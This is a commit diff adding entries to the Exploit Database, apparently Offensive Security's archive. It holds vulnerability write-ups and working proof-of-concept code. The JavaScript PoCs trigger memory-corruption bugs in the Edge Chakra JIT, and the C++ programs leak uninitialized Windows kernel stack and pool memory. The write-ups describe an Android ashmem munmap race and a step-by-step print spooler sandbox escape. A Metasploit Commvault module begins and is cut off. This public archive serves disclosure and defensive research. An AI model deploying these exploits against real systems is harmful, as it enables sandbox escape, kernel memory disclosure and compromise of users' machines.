DB: 2018-01-10
10 changes to exploits/shellcodes Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly call User-Defined JavaScript Functions Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches Microsoft Edge Chakra - 'asm.js' Out-of-Bounds Read Microsoft Windows - 'nt!NtQuerySystemInformation (information class 138_ QueryMemoryTopologyInformation)' Kernel Pool Memory Disclosure Android - Inter-Process munmap due to Race Condition in ashmem Microsoft Windows - 'nt!NtQueryInformationProcess (information class 76_ QueryProcessEnergyValues)' Kernel Stack Memory Disclosure Microsoft Edge Chakra JIT - Escape Analysis Bug Microsoft Windows - Local XPS Print Spooler Sandbox Escape Commvault Communications Service (cvd) - Command Injection (Metasploit) osCommerce 2.2 - SQL Injection
This commit is contained in:
Offensive Security
parent
2d8b561a5d
commit
ffa8e63e25
11 changed files with 626 additions and 5 deletions
86
exploits/android/dos/43464.txt
Normal file
86
exploits/android/dos/43464.txt
Normal file
|
|
@ -0,0 +1,86 @@
|
|||
The MemoryIntArray class allows processes to share an in-memory array of integers backed by an "ashmem" file descriptor. As the class implements the Parcelable interface, it can be inserted into a Parcel, and optionally placed in a Bundle and transferred via binder to remote processes.
|
||||
|
||||
Instead of directly tracking the size of the shared memory region, the MemoryIntArray class calls the ASHMEM_GET_SIZE ioctl on the ashmem descriptor to retrieve it on-demand. Previously, the code made a single call to ASHMEM_GET_SIZE in order to retrieve the region's size, both before mapping it, and before unmapping it. Since the region's size could be set via ASHMEM_SET_SIZE until the region has been mapped, this opened the possibility for race conditions where an attacker alters the size in-between the first size retrieval and the mapping operation.
|
||||
|
||||
This issue has since been addressed (CVE-2017-0412), using the following pattern:
|
||||
(see http://androidxref.com/8.0.0_r4/xref/frameworks/base/core/jni/android_util_MemoryIntArray.cpp#69)
|
||||
|
||||
1. int ashmemSize = ashmem_get_size_region(fd);
|
||||
2. if (ashmemSize <= 0) {
|
||||
3. jniThrowException(env, "java/io/IOException", "bad ashmem size");
|
||||
4. return -1;
|
||||
5. }
|
||||
6.
|
||||
7. // IMPORTANT: Ashmem allows the caller to change its size until
|
||||
8. // it is memory mapped for the first time which lazily creates
|
||||
9. // the underlying VFS file. So the size we get above may not
|
||||
10. // reflect the size of the underlying shared memory region. Therefore,
|
||||
11. // we first memory map to set the size in stone an verify if
|
||||
12. // the underlying ashmem region has the same size as the one we
|
||||
13. // memory mapped. This is critical as we use the underlying
|
||||
14. // ashmem size for boundary checks and memory unmapping.
|
||||
15. int protMode = owner ? (PROT_READ | PROT_WRITE) : PROT_READ;
|
||||
16. void* ashmemAddr = mmap(NULL, ashmemSize, protMode, MAP_SHARED, fd, 0);
|
||||
17. if (ashmemAddr == MAP_FAILED) {
|
||||
18. jniThrowException(env, "java/io/IOException", "cannot mmap ashmem");
|
||||
19. return -1;
|
||||
20. }
|
||||
21.
|
||||
22. // Check if the mapped size is the same as the ashmem region.
|
||||
23. int mmapedSize = ashmem_get_size_region(fd);
|
||||
24. if (mmapedSize != ashmemSize) {
|
||||
25. munmap(reinterpret_cast<void *>(ashmemAddr), ashmemSize);
|
||||
26. jniThrowException(env, "java/io/IOException", "bad file descriptor");
|
||||
27. return -1;
|
||||
28. }
|
||||
|
||||
As we can see above, the code verifies that the size retrieved prior to mapping and after performing the mapping operation are equal, thus attempting to eliminate the race condition. However, looking at the ashmem driver, the following code is used to implement the ASHMEM_SET_SIZE ioctl:
|
||||
(see http://androidxref.com/kernel_3.18/xref/drivers/staging/android/ashmem.c#753)
|
||||
|
||||
a. case ASHMEM_SET_SIZE:
|
||||
b. ret = -EINVAL;
|
||||
c. if (!asma->file) {
|
||||
d. ret = 0;
|
||||
e. asma->size = (size_t) arg;
|
||||
f. }
|
||||
g. break;
|
||||
|
||||
The ioctl does not acquire the "ashmem_mutex" to perform the ioctl itself. Therefore, an "mmap" operation could be in-flight, while the ASHMEM_SET_SIZE ioctl is being processed. This opens up the possibility to the following schedule, triggering a race condition:
|
||||
|
||||
[Process A]:
|
||||
1. Attacker sends a MemoryIntArray with a crafted ashmem file descriptor in a Bundle, and with a small size
|
||||
|
||||
[System Server]:
|
||||
2. Target process (e.g., system_server) unparcels the bundle with the MemoryIntArray, instantiating it
|
||||
3. This triggers the code path above, executing lines 1-16
|
||||
|
||||
[Process A]:
|
||||
4. Attacker calls ASHMEM_SET_SIZE, either during or before the mmap call
|
||||
4.1. Lines a-c are executed, asma->file is still NULL
|
||||
|
||||
[System Server]:
|
||||
5. Target process continues executing lines 16-24
|
||||
5.1. Target process sees the old size, as the ASHMEM_SET_SIZE operation didn't complete yet
|
||||
5.2. Therefore, the condition at line 24 is not satisfied
|
||||
|
||||
[Process A]:
|
||||
6. Lines d-f are executed, setting the size to a new value
|
||||
|
||||
[System Server]:
|
||||
7. Some time later, target process runs the finalizer, which retrieves the new size, and uses it to munmap the descriptor
|
||||
7.1. This causes an inter-process munmap with an attacker-controller size
|
||||
|
||||
|
||||
This issue can be exploited similarly to the previous ashmem bugs -- once a larger "munmap" is performed in the target process, it can be used to "free" a data structure such as a thread's stack, allowing the attacker to replace it with their own controlled contents.
|
||||
|
||||
While the exploitable condition is present in MemoryIntArray, I believe a fix should also be applied to the kernel to prevent such conditions from occurring in other contexts. Namely, the ashmem driver should acquire the "ashmem_mutex" during the ASHMEM_SET_SIZE operation, in order to guarantee that no races with ongoing "mmap" operations are possible. In addition, MemoryIntArray should not rely on multiple calls to ASHMEM_GET_SIZE, but should rather perform a single ASHMEM_GET_SIZE operation and store the returned size for both the "mmap" and "munmap" operations.
|
||||
|
||||
To demonstrate the race condition, I've added a busy loop to the ashmem driver between lines c. and d., increasing the race window to allow for easier demonstration of the schedule above.
|
||||
|
||||
I've attached a PoC which triggers this race condition and causes system_server to call munmap on a large memory region. To reproduce the issue, apply the diff in "ashmem_delay.diff" to the ashmem driver, then run the attached program. Doing so should result in a large "munmap" operation in system_server, causing it to crash.
|
||||
|
||||
The issue can also be exploited from the "isolated_app" SELinux context (and perhaps from the Chrome sandbox?), as all that's required to leverage the attack is the ability to issue ashmem syscalls, and to interact with the ActivityManager service (which is exposed to "isolated_app").
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43464.zip
|
||||
|
|
@ -1,8 +1,10 @@
|
|||
source: http://www.securityfocus.com/bid/9211/info
|
||||
|
||||
It has been reported that one of the scripts included with osCommerce fails to validate user-supplied input, rendering it vulnerable to a SQL injection attack. The script in question is used to verify account details during the new user registration process and has the filename "create_account_process.php". It may be possible for attackers to manipulate the query to corrupt data in the database or, possibly, gain access on the underlying host (through, for example, stored procedures or vulnerabilities in the database server).
|
||||
|
||||
#!/usr/bin/perl
|
||||
#source: http://www.securityfocus.com/bid/9211/info
|
||||
#
|
||||
#It has been reported that one of the scripts included with osCommerce fails to validate user-supplied input, rendering it vulnerable to a SQL injection attack. The script in question is used to verify account details during the new user registration process and has the filename "create_account_process.php". It may be possible for attackers to manipulate the query to corrupt data in the database or, possibly, gain access on the underlying host (through, for example, stored procedures or vulnerabilities in the database server).
|
||||
#
|
||||
#
|
||||
|
||||
############################################################################
|
||||
# osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org ]
|
||||
############################################################################
|
||||
|
|
|
|||
32
exploits/windows/dos/43466.js
Normal file
32
exploits/windows/dos/43466.js
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
/*
|
||||
1. Call patterns like "Math.max.apply(Math, [1, 2, 3, 4, 5])" and "Math.max.apply(Math, arr)" can be optimized to directly call the method "JavascriptMath::MaxInAnArray" in the Inline Phase.
|
||||
2. The method takes the original method "Math.max" as the first parameter and the arguments object as the second parameter.
|
||||
3. If the arguments object can't be handled by the method, it explicitly calls the original method "Math.max".
|
||||
4. But it doesn't check if the property "Math.max" has changed, so a user defined JavaScript function can be called without updating "ImplicitCallFlags".
|
||||
|
||||
Note: Math.min as well.
|
||||
|
||||
PoC:
|
||||
*/
|
||||
|
||||
function opt(arr, arr2) {
|
||||
arr[0] = 1.1;
|
||||
Math.max.apply(Math, arr2);
|
||||
arr[0] = 2.3023e-320;
|
||||
}
|
||||
|
||||
function main() {
|
||||
let arr = [1.1, 2.2, 3.3, 4.4];
|
||||
for (let i = 0; i < 10000; i++) {
|
||||
opt(arr, [1, 2, 3, 4]);
|
||||
}
|
||||
|
||||
Math.max = function () {
|
||||
arr[0] = {};
|
||||
};
|
||||
|
||||
opt(arr, {}); // can't handle, calls Math.max
|
||||
print(arr[0]);
|
||||
}
|
||||
|
||||
main();
|
||||
76
exploits/windows/dos/43467.js
Normal file
76
exploits/windows/dos/43467.js
Normal file
|
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
The optimizations for memory operations may leave empty loops as follows:
|
||||
|
||||
for (let i = 0; i < arr.length; i++) {
|
||||
arr[i] = 0;
|
||||
}
|
||||
|
||||
Becomes:
|
||||
|
||||
Memset(arr, 0, arr.length);
|
||||
for (let i = 0; i < arr.length; i++) {
|
||||
// empty!
|
||||
}
|
||||
|
||||
These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.
|
||||
|
||||
Here's what may happen.
|
||||
|
||||
A:
|
||||
Memset(arr, 0, arr.length);
|
||||
|
||||
for (let i = 0; i < arr.length; i++) {
|
||||
|
||||
}
|
||||
goto D; // Actually, this's a "BrGe_I4" instruction in the PoC.
|
||||
|
||||
C:
|
||||
...
|
||||
|
||||
D:
|
||||
...
|
||||
|
||||
Becomes:
|
||||
|
||||
A:
|
||||
Memset(arr, 0, arr.length);
|
||||
|
||||
C:
|
||||
...
|
||||
|
||||
D:
|
||||
...
|
||||
|
||||
So, this may break the control flow.
|
||||
|
||||
|
||||
PoC:
|
||||
*/
|
||||
|
||||
function opt(a, b, always_true = true) {
|
||||
a[0] = 1234;
|
||||
b[0] = 0;
|
||||
|
||||
let arr = a;
|
||||
if (always_true) {
|
||||
arr = b;
|
||||
for (let i = 0; i < arr.length; i++)
|
||||
arr[i] = 0;
|
||||
}
|
||||
|
||||
let val = arr[0];
|
||||
if (val) {
|
||||
print(val); // Must be 0, but prints out 1234
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
let a = new Uint32Array(1);
|
||||
let b = new Uint32Array(0x1000);
|
||||
for (let i = 0; i < 10000; i++) {
|
||||
if (opt(a, b)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
40
exploits/windows/dos/43468.js
Normal file
40
exploits/windows/dos/43468.js
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
/*
|
||||
Here's a snippet of AsmJSByteCodeGenerator::EmitAsmJsFunctionBody.
|
||||
AsmJsVar * initSource = nullptr;
|
||||
if (decl->sxVar.pnodeInit->nop == knopName)
|
||||
{
|
||||
AsmJsSymbol * initSym = mCompiler->LookupIdentifier(decl->sxVar.pnodeInit->name(), mFunction);
|
||||
if (initSym->GetSymbolType() == AsmJsSymbol::Variable)
|
||||
{
|
||||
// in this case we are initializing with value of a constant var
|
||||
initSource = initSym->Cast<AsmJsVar>();
|
||||
}
|
||||
...
|
||||
}
|
||||
...
|
||||
if (initSource)
|
||||
{
|
||||
if (var->GetType().isDouble())
|
||||
{
|
||||
mWriter.AsmReg2(Js::OpCodeAsmJs::Ld_Db, var->GetLocation(), mFunction->GetConstRegister<double>(initSource->GetDoubleInitialiser()));
|
||||
}
|
||||
|
||||
Chakra thinks the PoC is valid asm.js code. What happens when the variable "b" gets initialized is:
|
||||
1. mCompiler->LookupIdentifier is called with "a" as the first argument. And it returns the local variable "a", which is of type int, but not the double constant "a".
|
||||
2. mFunction->GetConstRegister fails to find the int value in the double constant table. So it returns -1 which leads OOB read.
|
||||
|
||||
PoC:
|
||||
*/
|
||||
|
||||
function createModule() {
|
||||
'use asm';
|
||||
const a = 1.0;
|
||||
function f() {
|
||||
var b = a;
|
||||
var a = 0;
|
||||
}
|
||||
|
||||
return f;
|
||||
}
|
||||
var f = createModule();
|
||||
f();
|
||||
23
exploits/windows/dos/43469.js
Normal file
23
exploits/windows/dos/43469.js
Normal file
|
|
@ -0,0 +1,23 @@
|
|||
/*
|
||||
Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis
|
||||
|
||||
Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values.
|
||||
|
||||
PoC:
|
||||
*/
|
||||
|
||||
function opt() {
|
||||
let tmp = [];
|
||||
tmp[0] = tmp;
|
||||
return tmp[0];
|
||||
}
|
||||
|
||||
function main() {
|
||||
for (let i = 0; i < 0x1000; i++) {
|
||||
opt();
|
||||
}
|
||||
|
||||
print(opt()); // deref uninitialized stack pointers!
|
||||
}
|
||||
|
||||
main();
|
||||
120
exploits/windows/dos/43470.cpp
Normal file
120
exploits/windows/dos/43470.cpp
Normal file
|
|
@ -0,0 +1,120 @@
|
|||
/*
|
||||
We have discovered that the nt!NtQueryInformationProcess system call invoked with the 76 information class discloses portions of uninitialized kernel stack memory to user-mode clients. The specific information class is handled by an internal nt!PsQueryProcessEnergyValues function.
|
||||
|
||||
While we don't know the layout of the output structure, we have determined that on our test Windows 10 version 1709 32-bit system, the output size is 0x1B0 (432) bytes. Within the output buffer, four consecutive bytes at offsets 0x8c to 0x8f are not properly initialized and contain leftover data from the kernel stack.
|
||||
|
||||
The attached proof of concept code works by first filling a large portion of the kernel stack with a controlled marker byte 0x41 ('A') using the win32k!NtGdiEngCreatePalette system call, and then invokes the affected nt!NtQueryInformationProcess service. As a result, we can observe that these leftover bytes are indeed leaked to user-mode at offset 0x8c of the output structure:
|
||||
|
||||
--- cut ---
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000030: 94 90 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
|
||||
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000110: b6 04 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
--- cut ---
|
||||
|
||||
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <cstdio>
|
||||
|
||||
// For native 32-bit execution.
|
||||
extern "C"
|
||||
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
|
||||
__asm {mov eax, ApiNumber};
|
||||
__asm {lea edx, ApiNumber + 4};
|
||||
__asm {int 0x2e};
|
||||
}
|
||||
|
||||
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
|
||||
for (ULONG i = 0; i < size; i++) {
|
||||
ptr[i] = byte;
|
||||
}
|
||||
}
|
||||
|
||||
VOID SprayKernelStack() {
|
||||
// Windows 10 version 1709 32-bit.
|
||||
CONST ULONG __NR_NtGdiEngCreatePalette = 0x1296;
|
||||
|
||||
// Buffer allocated in static program memory, hence doesn't touch the local stack.
|
||||
static BYTE buffer[1024];
|
||||
|
||||
// Fill the buffer with 'A's and spray the kernel stack.
|
||||
MyMemset(buffer, 'A', sizeof(buffer));
|
||||
SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0);
|
||||
|
||||
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
|
||||
MyMemset(buffer, 'B', sizeof(buffer));
|
||||
}
|
||||
|
||||
int main() {
|
||||
// Initialize the thread as GUI.
|
||||
LoadLibrary(L"user32.dll");
|
||||
|
||||
// Spray the kernel stack to get visible results of the memory disclosure.
|
||||
SprayKernelStack();
|
||||
|
||||
// Trigger the bug and display the output.
|
||||
BYTE OutputBuffer[0x1b0] = { /* zero padding */ };
|
||||
ULONG ReturnLength;
|
||||
|
||||
NTSTATUS st = NtQueryInformationProcess(GetCurrentProcess(), (PROCESSINFOCLASS)76, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
|
||||
if (!NT_SUCCESS(st)) {
|
||||
printf("NtQueryInformationProcess failed, %x\n", st);
|
||||
return 1;
|
||||
}
|
||||
|
||||
PrintHex(OutputBuffer, sizeof(OutputBuffer));
|
||||
|
||||
return 0;
|
||||
}
|
||||
89
exploits/windows/dos/43471.cpp
Normal file
89
exploits/windows/dos/43471.cpp
Normal file
|
|
@ -0,0 +1,89 @@
|
|||
/*
|
||||
We have discovered that the nt!NtQuerySystemInformation system call invoked with the 138 information class discloses portions of uninitialized kernel pool memory to user-mode clients. The specific information class is handled by an internal nt!ExpQueryMemoryTopologyInformation function.
|
||||
|
||||
While we don't know the layout of the output structure, we have determined that on our test Windows 10 version 1709 32-bit system, the output size is 0x70 (112) bytes. Within the output buffer, 12 bytes in three 4-byte chunks of consecutive memory are not properly initialized and contain leftover data from the kernel pool. The data originates from a NonPagedPoolNx allocation requested in nt!MmGetNodeChannelRanges, based on a 16+32*N formula where N is returned by nt!MiReferencePageRuns. Each uninitialized 4-byte chunk corresponds to a specific 32-byte structure in the kernel buffer.
|
||||
|
||||
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
|
||||
|
||||
--- cut ---
|
||||
00000000: 03 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
|
||||
00000020: 9e 00 00 00 00 00 00 00 00 00 00 00 5f 5f 5f 5f ............____
|
||||
00000030: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................
|
||||
00000040: 02 00 00 00 00 00 00 00 00 00 00 00 5f 5f 5f 5f ............____
|
||||
00000050: 00 00 00 00 00 00 00 00 03 01 00 00 00 00 00 00 ................
|
||||
00000060: ed fe 0d 00 00 00 00 00 00 00 00 00 5f 5f 5f 5f ............____
|
||||
--- cut ---
|
||||
00000000: 03 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
|
||||
00000020: 9e 00 00 00 00 00 00 00 00 00 00 00 7b 7b 7b 7b ............{{{{
|
||||
00000030: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................
|
||||
00000040: 02 00 00 00 00 00 00 00 00 00 00 00 7b 7b 7b 7b ............{{{{
|
||||
00000050: 00 00 00 00 00 00 00 00 03 01 00 00 00 00 00 00 ................
|
||||
00000060: ed fe 0d 00 00 00 00 00 00 00 00 00 7b 7b 7b 7b ............{{{{
|
||||
--- cut ---
|
||||
00000000: 03 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 ................
|
||||
00000010: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
|
||||
00000020: 9e 00 00 00 00 00 00 00 00 00 00 00 45 45 45 45 ............EEEE
|
||||
00000030: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................
|
||||
00000040: 02 00 00 00 00 00 00 00 00 00 00 00 45 45 45 45 ............EEEE
|
||||
00000050: 00 00 00 00 00 00 00 00 03 01 00 00 00 00 00 00 ................
|
||||
00000060: ed fe 0d 00 00 00 00 00 00 00 00 00 45 45 45 45 ............EEEE
|
||||
--- cut ---
|
||||
|
||||
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <cstdio>
|
||||
|
||||
#define MemoryTopologyInformation ((SYSTEM_INFORMATION_CLASS)138)
|
||||
#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xc0000023)
|
||||
|
||||
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
DWORD ReturnLength = 0;
|
||||
NTSTATUS st = NtQuerySystemInformation(MemoryTopologyInformation, NULL, 0, &ReturnLength);
|
||||
if (!NT_SUCCESS(st) && st != STATUS_BUFFER_TOO_SMALL) {
|
||||
printf("NtQuerySystemInformation#1 failed, %x\n", st);
|
||||
return 1;
|
||||
}
|
||||
|
||||
PVOID Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);
|
||||
st = NtQuerySystemInformation(MemoryTopologyInformation, Buffer, ReturnLength, &ReturnLength);
|
||||
if (!NT_SUCCESS(st)) {
|
||||
printf("NtQuerySystemInformation#2 failed, %x\n", st);
|
||||
return 1;
|
||||
}
|
||||
|
||||
PrintHex((PBYTE)Buffer, ReturnLength);
|
||||
HeapFree(GetProcessHeap(), 0, Buffer);
|
||||
|
||||
return 0;
|
||||
}
|
||||
46
exploits/windows/local/43465.txt
Normal file
46
exploits/windows/local/43465.txt
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
Windows: Local XPS Print Spooler Sandbox Escape
|
||||
Platform: Windows 10 1703 and 1709 (not tested Windows 7 or 8.x)
|
||||
Class: Elevation of Privilege
|
||||
|
||||
Summary:
|
||||
|
||||
The local print spooler can be abused to create an arbitrary file from a low privilege application including one in an AC as well as a typical Edge LPAC CP leading to EoP.
|
||||
|
||||
Description:
|
||||
|
||||
When creating an XPS print job it's possible to specify the destination file in the DOC_INFO_1 structure passed to StartDocPrinter. When you call WritePrinter to write to the new printer job the privileged printer spooler service impersonates the caller and ensures that they can write to the target. This should ensure that a sandboxed user can't write to a location they don't have access to normally. Unfortunately the spooler then deletes this file it's created under impersonation and then calls NSecurityLibrary::ElevateIntegrityLevelIfLow to increase the IL of caller's token to Medium level if the token is current Low IL. In a naive sandbox such as IE PM this results in the actual file being written as at Medium IL which would be sufficient for writing to any user controlled location such as the Startup folder. However in an AC sandbox you'd assume this wouldn't help as the AC would still be enforced even if the IL of the token was raised. It seems not, if code raises the IL of the AC token to medium (which requires SeTcbPrivilege) then the kernel also removes all traces of the AC, leaving the final token a normal medium IL user token again. Therefore in both the naive and AC cases there exists a TOCTOU attack where you can get the sandboxed token to write to a folder you control then redirect the write to another location once the token IL is raised.
|
||||
|
||||
The simplest way of doing this would be your standard symbolic link attacks, fortunately Windows has mitigated all the easy ways of doing such an attack. Unfortunately there's a bug in the handling of NtImpersonateAnonymousToken when running in AC which allows a symlink attack in this specific case. I've submitted the bug in NtImpersonateAnonymousToken as a separate issue. Of course there's no reason to believe that there's no other way of exploiting this issue given enough effort without the bug in NtImpersonateAnonymousToken.
|
||||
|
||||
To exploit do the following:
|
||||
|
||||
1) Create a fake destination directory in a AC writable directory such as Temp. e.g. if you want to write to c:\users\user\desktop\hello.txt create %TEMP%\users\user\desktop.
|
||||
2) Use bug in NtImpersonateAnonymousToken to impersonate the non-AC token and create a new C: drive symlink in the anonymous user's drive map pointing at the temp directory. Note that as this is created inside a sandbox a non-sandboxed caller will NOT follow the symlink.
|
||||
3) Build a native NT path in Win32 form to the target path via the anonymous token's device map directory and pass to StartDocPrinter in DOC_INFO_1. e.g. \\?\GLOBALROOT\Sessions\0\DosDevices\00000000-000003E6\C:\Users\user\desktop\hello.txt
|
||||
4) Create the "fake" target file in the temp directory and put an exclusive oplock on it.
|
||||
5) Call WritePrinter in another thread, in original thread wait for the oplock to complete. The open in the print spooler will follow the symlink in this case as it's impersonating the sandboxed token.
|
||||
6) Delete the symlink and break the oplock, this allows the spooler to continue.
|
||||
7) The spooler now impersonates the medium user token and tried to open the path. The C: symlink created in 2 now no longer exists, however as we're using a device map directory then the global devicemap fallback will kick in so that the spooler sees the global C: drive.
|
||||
8) The spooler writes arbitrary data to the new target file outside of the sandboxed area.
|
||||
|
||||
I really don't get why the token is elevated before writing the file. There is a mode where if you don't specify a path then the spooler will write the file to the local documents directory. As the sandboxed application has no control of the path it at least makes some sense to elevate to allow the file to be written but when writing an explicit path it seems unnecessary. Note that this also works from LPAC, at least as implemented for Edge CP's. This is because the ALPC port of the spooler has an ACE with the “lpacPrinting” capability which is in the list of capabilities in most (all?) CP's for Edge. I also note that WDAG supports writing XPS files, but I don’t have the time to work out the details of how WDAG works right now to see if it would also be vulnerable.
|
||||
|
||||
Proof of Concept:
|
||||
|
||||
I’ve provided a PoC as a C# project. The PoC will drop the file hello.txt to the current user’s desktop with arbitrary contents. The PoC will respawn itself as the Microsoft Edge AC and then execute the exploit. You must run this as a UAC split token admin. Note that this ISN’T a UAC bypass, just that a split-token admin has a trivial way of getting a non-AC token by requesting the linked token. The PoC will execute just using a normal AC, to test with LPAC pass the executable any argument you like, the LPAC capabilities are copied from an Edge CP so should be representative of what’s available in real life. It seems on some systems the .NET framework directory has an incorrect DACL which results in the LPAC mode failing. A fresh install of 1709 should work though.
|
||||
|
||||
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work. Ensure the main executable and DLLs are in a user writable location (this is needed to tweak the file permissions for AC).
|
||||
2) Execute the PoC as normal user level split-token admin.
|
||||
3) Once complete a dialog should appear indicating the operation is Done.
|
||||
|
||||
Expected Result:
|
||||
Writing to a file outside of a sandbox accessible directory should fail.
|
||||
|
||||
Observed Result:
|
||||
The file hello.txt is created in the current user’s desktop directory with arbitrary contents.
|
||||
|
||||
Microsoft have made the decision that as the issue with NtImpersonateAnonymousToken (https://bugs.chromium.org/p/project-zero/issues/detail?id=1414) is now fixed then you can no longer exploit this issue. I disagree with this assessment as there's always scope for new ways of getting similar symbolic link like functionality. The printer APIs allow passing an arbitrary Win32 path which doesn't seem to get translated so there's plenty of scope for abuse. You can also still exploit it from a low-IL sandbox as you can still get access to the anonymous token's dos device directory, however MS don't really consider that a security boundary.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43465.zip
|
||||
98
exploits/windows/remote/43472.rb
Executable file
98
exploits/windows/remote/43472.rb
Executable file
|
|
@ -0,0 +1,98 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
